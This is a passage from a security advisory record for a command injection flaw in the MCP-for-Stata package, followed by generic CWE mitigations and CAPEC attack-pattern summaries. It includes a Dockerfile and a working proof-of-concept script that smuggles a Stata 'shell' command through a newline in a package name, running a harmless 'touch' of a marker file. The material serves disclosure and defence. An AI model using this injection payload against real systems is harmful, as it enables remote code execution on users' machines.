command.\n# The vulnerable stata-mcp code is installed unmodified from the repo.\n\nFROM python:3.11-slim\n\n# Install pexpect -- the only runtime dependency required by the PoC\n# (StataController imports pexpect; all other imports are stdlib-only).\nRUN pip install --no-cache-dir pexpect==4.9.0\n\n# ------------------------------------------------------------------\n# Fake Stata binary\n# ------------------------------------------------------------------\n# Placed at /usr/local/bin/stata so StataFinder (Linux) can auto-discover\n# it and the PoC can reference it by absolute path.\nCOPY vuln-001/fake_stata.py /usr/local/bin/stata\nRUN chmod +x /usr/local/bin/stata\n\n# ------------------------------------------------------------------\n# Vulnerable package (unmodified source)\n# ------------------------------------------------------------------\nCOPY repo/src /workspace/src\nENV PYTHONPATH=/workspace/src\n\n# ------------------------------------------------------------------\n# PoC script\n# ------------------------------------------------------------------\nCOPY vuln-001/poc.py /workspace/poc.py\n\nWORKDIR /workspace\nCMD [\"python3\", \"/workspace/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Stata Command Injection via unsanitized `package` in\n`ado_package_install` (SSC path).\n\nVulnerable code:\n ssc_install.py:15\n install_command = f\"ssc install {package}{self.REPLACE_MESSAGE}\"\n controller.py:99\n self.child.sendline(command)\n\nAttack: embed a newline in `package` to inject an additional Stata command.\n package = \"outreg2\\\\nshell touch /tmp/stata_mcp_ado_poc\\\\n//\"\n\nThe constructed command string becomes:\n ssc install outreg2\n shell touch /tmp/stata_mcp_ado_poc\n //, replace\n\npexpect delivers this multi-line string verbatim to the Stata REPL via\nsendline(), causing Stata to execute \u0027shell touch /tmp/stata_mcp_ado_poc\u0027,\nwhich runs the OS command \u0027touch /tmp/stata_mcp_ado_poc\u0027.\n\nMarker file creation confirms RCE.\n\"\"\"\nimport os\nimport sys\n\nFAKE_STATA = \"/usr/local/bin/stata\"\nMARKER_FILE = \"/tmp/stata_mcp_ado_poc\"\n# Payload: legit package name, then injected shell command, then comment to\n# neutralise the \", replace\" suffix appended by REPLACE_MESSAGE.\nPAYLOAD = f\"outreg2\\nshell touch {MARKER_FILE}\\n//\"\n\n\ndef main() -\u003e int:\n print(\"=\" * 60)\n print(\"VULN-001 PoC: Stata Command Injection via ado_package_install\")\n print(\"=\" * 60)\n print(f\"[*] Fake Stata binary : {FAKE_STATA}\")\n print(f\"[*] Marker file : {MARKER_FILE}\")\n print(f\"[*] Payload (repr) : {PAYLOAD!r}\")\n print()\n\n # Clean up any previous run.\n if os.path.exists(MARKER_FILE):\n os.remove(MARKER_FILE)\n print(f\"[*] Removed pre-existing marker file.\")\n\n # Import the vulnerable class directly -- no MCP or config layer needed.\n # The vulnerability lives entirely in SSC_Install.install() and the\n # StataController that sends the command to the Stata REPL.\n from stata_mcp.stata.builtin_tools.ado_install.ssc_install import SSC_Install\n\n print(\"[*] Instantiating SSC_Install with fake Stata binary...\")\n installer = SSC_Install(FAKE_STATA, is_replace=True, timeout=10)\n\n print(f\"[*] Calling install({PAYLOAD!r}) ...\")\n try:\n result = installer.install(PAYLOAD)\n print(f\"[*] install() returned: {result[:200]!r}\")\n except Exception as exc:\n # A RuntimeError from StataController is acceptable; the shell command\n # may have already executed before the error is detected.\n print(f\"[!] install() raised (may be expected): {type(exc).__name__}: {exc}\")\n\n print()\n\n # --- Verdict ---\n if os.path.exists(MARKER_FILE):\n print(\"[+] PASS - RCE CONFIRMED\")\n print(f\"[+] Marker file exists: {MARKER_FILE}\")\n print(\"[+] The injected Stata \u0027shell\u0027 command was executed by the REPL.\")\n print(\"[+] Constructed command delivered via sendline():\")\n print(\"[+] ssc install outreg2\")\n print(f\"[+] shell touch {MARKER_FILE} \u003c-- OS command executed here\")\n print(\"[+] //\")\n return 0\n else:\n print(\"[-] FAIL - Marker file not found.\")\n print(\"[-] The injected shell command did not produce the expected artefact.\")\n return 1\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```",
"id": "GHSA-49m4-vp58-wgc9",
"modified": "2026-08-12T19:23:38Z",
"published": "2026-08-12T19:23:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SepineTam/mcp-for-stata/security/advisories/GHSA-49m4-vp58-wgc9"
},
{
"type": "PACKAGE",
"url": "https://github.com/SepineTam/mcp-for-stata"
},
{
"type": "WEB",
"url": "https://github.com/SepineTam/mcp-for-stata/releases/tag/v1.19.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "MCP-for-Stata: Stata Command Injection via Unsanitized `package` in `ado_package_install`"
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.